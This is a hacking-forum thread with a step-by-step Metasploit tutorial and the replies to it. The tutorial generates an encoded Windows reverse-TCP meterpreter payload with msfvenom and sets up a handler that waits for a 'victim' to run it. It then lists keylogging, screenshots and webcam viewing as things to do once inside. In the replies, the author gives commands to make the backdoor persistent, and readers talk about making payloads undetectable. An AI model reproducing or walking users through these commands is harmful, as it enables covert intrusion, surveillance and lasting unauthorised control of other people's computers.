[ｋａ＄ｈ]

Hello friends, I am hoping this guide can help simplify the process and help people understand the use of a reverse TCP shell to gain remote access to a computer using Metasploit. Once you have a grasp on how it works you can get into more advanced techniques.

---

>> Before we begin <<

NOTE: This guide is in the perspective of using two machines on the same network. However if you understand this process, there is not much difference between doing this to a computer on a different network.
I will be using Kali Linux, and the victim's machine will be a Windows 10 virtual machine.

What is a Reverse TCP Shell?
A shell is a piece of code which can be used to give its user command execution on another device.
A Reverse Shell is a type of shell which is accessed through a listening port on the user's machine after is has been executed on another.

---

STEP 1 >> Generate the payload using msfvenom <<

NOTE: I will not be going through how to make your payload fully undetectable as that is not the aim of my tutorial.

1i. To create out payload, we need our computers internal IP address, this can be obtained with the ifconfig command on a terminal. If the victim computer was on another network, you would use your public IP. [https://www.whatismyip.com]
My internal IP is 192.168.0.4.

1ii. Open a terminal and create your payload:

Code

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.4 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o /root/Desktop/payload.exe

Spoiler (Click to View)

• -p <Payload to use>
  
• LHOST <Your IP>
  
• -e <Encoder to use>
  
• -i <Iterations - How many times to encode payload>
  
• -f <File output format>
  
• -o <Path to output to>
  
• Use command "msfvenom -h" for help
  

Your payload should now be on your desktop.

---

STEP 2 >> Set up our listener <<

2i. Now we open a terminal and start our Metasploit Framework:

Code

msfconsole

2ii. Select our exploit:

Code

use exploit/multi/handler

2iii. Select our payload:

Code

set PAYLOAD windows/meterpreter/reverse_tcp

2iv. Select LHOST/LPORT:

Code

set LHOST 192.168.0.4
set LPORT 4444            //Default

Spoiler (Click to View)
The "show options" command comes in handy sometimes, it will show you your available options.


2v. Now we start our payload handler:

Code

exploit -j -z

Spoiler (Click to View)

---

STEP 3 >> Wait for access <<

3i. Now we wait for our victim to open our executable:
*Victim's machine*
Spoiler (Click to View)

3ii. Once the victim has run the executable, you will see a meterpreter session open on your terminal.

3iii. To interact with the session we use the command:

Code

sessions -i 1

Spoiler (Click to View)

• -i <Interact>
  
• 1 <Session ID to interact with>
  
• use "sessions" to view all sessions
  

You now have backdoor access to that computer. 🎉

---

You can do many things such as spawn a command shell:

You can do things such as:

• Capture Keystrokes
  
• Screenshot
  
• View webcam
  
• Make your backdoor persistent
  
• Anything CMD can do
  

Spoiler (Click to View)
Use the "Help" command to view a range of commands.

---

Thanks for reading, hopefully some people learn something from this tutorial! 🤝

[๖ۣۜDominate]

Fantastic tutorial my man. You should get this stickied.

[Mr. Robot]

Been posted 100s of times on here but always good to see people trying with the basics.

[ｋａ＄ｈ]

Fantastic tutorial my man. You should get this stickied.

yeah oi your a funny guy

---

Been posted 100s of times on here but always good to see people trying with the basics.

A lot of new people don't go searching for things so it doesn't hurt to have them re-posted for them to see and hopefully learn something, hopefully posted in a clear way too that might be easier for some to learn.

[setsuna]

This was super easy to follow, thank you very much! Would love to see more tutorials :)
I also recently realized about how important search is here. A lot is here, but it takes some digging to find what I'm looking for.

[ｋａ＄ｈ]

This was super easy to follow, thank you very much! Would love to see more tutorials :)
I also recently realized about how important search is here. A lot is here, but it takes some digging to find what I'm looking for.

Thanks, will make more in the future ✌

[Exkodera]

Would you make a tutorial on making the backdoor persistent i'm really interested in that. Cheers!

[ｋａ＄ｈ]

Would you make a tutorial on making the backdoor persistent i'm really interested in that. Cheers!

From my example above, once I have opened the meterpreter session I could run the command:

Code

run persistence -U -i 10 -p 4444 -r 192.168.0.4

Spoiler (Click to View)

• -U <Option to automatically start when user logs on>
  
• -i <Time to wait between each attempt to connect>
  
• -p <Port>
  
• -r <Remote host IP (Your IP)>
  
• Use command "run persistence -h" to see available options
  

It is now persistent!

[Exkodera]

Thanks man. But what would happen if I restart my kali? How would I proceed into opening the sessions and executing commands?

[ｋａ＄ｈ]

Thanks man. But what would happen if I restart my kali? How would I proceed into opening the sessions and executing commands?

Just repeat step 2, this will set up your listener again, you should then see your meterpreter session open again, use the command "sessions" to view it, then you use "sessions -i <number ID off session>" to interact with it again.

[Exkodera]

Worked perfectly, thanks alot. How about if the victim deletes the payload.exe what happens then?

[ｋａ＄ｈ]

Worked perfectly, thanks alot. How about if the victim deletes the payload.exe what happens then?

When you run persistence a script is injected to the victim machine so the file is not needed, as long as you internal IP remains the same it will continue to connect to you.

[Exkodera]

Sounds fine, thanks alot for your replies and the tutorial!

[ｋａ＄ｈ]

Sounds fine, thanks alot for your replies and the tutorial!

All good, hope it was easy to understand 🤝

[Exkodera]

I'll be looking for tutorials to make the payload FUD and ye it was easy to understand, thanks again.